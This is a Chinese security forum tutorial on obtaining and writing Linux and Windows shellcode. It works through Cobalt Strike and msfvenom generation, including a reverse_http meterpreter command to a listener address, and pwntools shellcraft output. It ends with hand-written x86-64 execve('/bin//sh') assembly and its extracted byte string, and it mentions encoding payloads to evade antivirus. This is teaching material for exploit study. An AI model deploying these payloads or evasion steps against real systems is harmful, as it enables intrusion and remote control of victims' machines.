本帖最后由 ethereel 于 2020-6-18 13:43 编辑
#首发于FreeBuf
0x00shellcode简介在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。 shellcode可以按照攻击者控制是否在目标机器上执行载荷分为本地shellcode和远程shellcode。本地运行的shellcode经常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限;远程shellcode常用于攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。 那么,当我们已经通过种种手段得到程序溢出的地址,该如何获取或者编写shellcode呢,一起来看看吧。 0x01直接获取shellcode网络上有许多已经编写好的shellcode资源公开分享,由于shellcode的本质是一段机器码,在不同的硬件设备上可能有诸多区别,在使用时一定要注意平台是否通用。下面是两个可以学习的网站。
file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/956a0d42314548feb614b01ee0a96dcc/clipboard.png?lastModify=1592458336 file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/43b2cb34c17344838a9d5510b3d2d666/clipboard.png?lastModify=1592458336 但来自网络的资源很有可能由于久久未更新、适用的系统已经被淘汰,或者是shellcode已经被公开而变得容易被查杀,这时候我们就需要能够即时获取shellcode的方法。 0x02通过软件获取shellcode目前网上有很多的开源的自动生成shellcode的工具,在这里介绍两种比较常用的shellcode生成方式。 1.cobaltstrike(版本4.0)file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/c8edc579e2d44102b7bfa8bf9fb19323/clipboard.png?lastModify=1592458336 勾选生成c语言形式的shellcode,在下拉列表里我们还能看到有许多其他语言形式的shellcode。 接着我们会得到一个文件,其中包含了所需的shellcode,只要将这段shellcode放入预先写好的加载器中就可以使用了: 2.msf(系统版本kali linux 5.5 amd64)在linux平台下,我们还可以利用metasploit框架下的msfvenom生成shellcode 命令行选项:
- -p, --payload <payload> 指定需要使用的payload(攻击载荷)。如果需要使用自定义的payload,请使用'-'或者stdin指定
- -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
- -n, --nopsled <length> 为payload预先指定一个NOP滑动长度
- -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
- -e, --encoder [encoder] 指定需要使用的encoder(编码器)
- -a, --arch <architecture> 指定payload的目标架构
- --platform <platform> 指定payload的目标平台
- -s, --space <length> 设定有效攻击荷载的最大长度
- -b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
- -i, --iterations <count> 指定payload的编码次数
- -c, --add-code <path> 指定一个附加的win32 shellcode文件
- -x, --template <path> 指定一个自定义的可执行文件作为模板
- -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
- --payload-options 列举payload的标准选项
- -o, --out <path> 保存payload
- -v, --var-name <name> 指定一个自定义的变量,以确定输出格式
- --shellest 最小化生成payload
- -h, --help 查看帮助选项
- --help-formats 查看msf支持的输出格式列表
复制代码
例如: - msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c
复制代码
这个指令生成的shellcode将会注入mettle server payload,反弹连接一个连接。 接着我们会得到相应的shellcode file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/48133b70d76c4074acbe8dc6c8280a68/clipboard.png?lastModify=1592458336 当然这只是最基础的操作,msfvenom集成了msfpayload和msfencoder,还可以添加其他的指令,比如编码和迭代来避免杀毒软件的查杀。 3.pwntools(python 3.8)pwntools是常用的二进制利用框架。下图官方文档中是pwntools中生成shellcode的核心模块shellcraft及相应用法。 file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/966df8646bac485f99ac7d292b4fac90/clipboard.png?lastModify=1592458336 例如: - from pwn import *
- #设置目标机器信息
- context(arch = 'amd64', os = 'linux',log_level = 'debug')
- #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
- shellcode=asm(shellcraft.amd64.linux.sh())
- print(shellcode)
复制代码
运行代码,可以得到汇编代码及对应的shellcode: - [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.8/dist-packages/pwnlib/data/includes /dev/stdin
- [DEBUG] Assembling
- .section .shellcode,"awx"
- .global _start
- .global __start
- _start:
- __start:
- .intel_syntax noprefix
- /* execve(path='/bin///sh', argv=['sh'], envp=0) */
- /* push b'/bin///sh\x00' */
- push 0x68
- mov rax, 0x732f2f2f6e69622f
- push rax
- mov rdi, rsp
- /* push argument array ['sh\x00'] */
- /* push b'sh\x00' */
- push 0x1010101 ^ 0x6873
- xor dword ptr [rsp], 0x1010101
- xor esi, esi /* 0 */
- push rsi /* null terminate */
- push 8
- pop rsi
- add rsi, rsp
- push rsi /* 'sh\x00' */
- mov rsi, rsp
- xor edx, edx /* 0 */
- /* call execve() */
- push 59 /* 0x3b */
- pop rax
- syscall
- [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-cvwq0p95/step2 /tmp/pwn-asm-cvwq0p95/step1
- [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-cvwq0p95/step3 /tmp/pwn-asm-cvwq0p95/step4
- b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'<b>0x03编写shellcode</b>
复制代码
但假如我们需要一些具有特殊功能的shellcode,软件却无法提供相应功能时,该如何方便快捷的编写shellcode呢? 1.直接通过机器码写shellcode难度对于一般程序员过大,且容易出错 2.通过汇编语言写shellcode在这里我们以linux平台为例。 理想效果的c代码: - #include "stdlib.h"
- #include "unistd.h"
- char *buf[]={"/bin/sh",NULL};
- void main()
- {
- execve("/bin/sh",buf,NULL);
- exit(0);
- }
复制代码
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件的参数,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。 file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/8b759aae6860400ebc5495c620fc8ab4/clipboard.png?lastModify=1592458336 - section .text
- global _start
-
- _start:
-
- xor rdx, rdx
- push rdx
- mov rax, 0x68732f2f6e69622f //将“/bin//sh”的十六进制按字节倒序后的结果0x68732f2f6e69622f放入rax寄存器。为什么不使用/bin/sh?因为这样会产生\00截断。而/bin//sh和/bin/sh相等。
- push rax //将/bin//sh压入栈
- mov rdi, rsp //从rsp中获取字符串/bin//sh的地址,将其放入rdi
- push rdx //
- push rdi
- mov rsi, rsp
- xor rax, rax
- mov al, 0x3b
- syscall <div align="left"><font color="rgb(31, 9, 9)"><font "="" face=""><font style="font-size: 16px">编译文件:</font></font></font></div>nasm -f elf64 sc64.asm
- ld -m elf_x86_64 -s -o shellcode sc64.o
- ./shellcode
复制代码
成功运行文件,说明编写成功: 此时可以查看机器码: file://E:/%E6%9C%89%E9%81%93%E4%BA%91%E7%AC%94%E8%AE%B0-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6/932996275@qq.com/7c40da88d2744836b003539a4b38ba54/clipboard.png?lastModify=1592458336 虽然已经给出机器码,但如果我们能通过过滤无关参数直接获取shellcode,何乐而不为呢?运行命令: - objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
复制代码
得到shellcode:
- \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
复制代码
|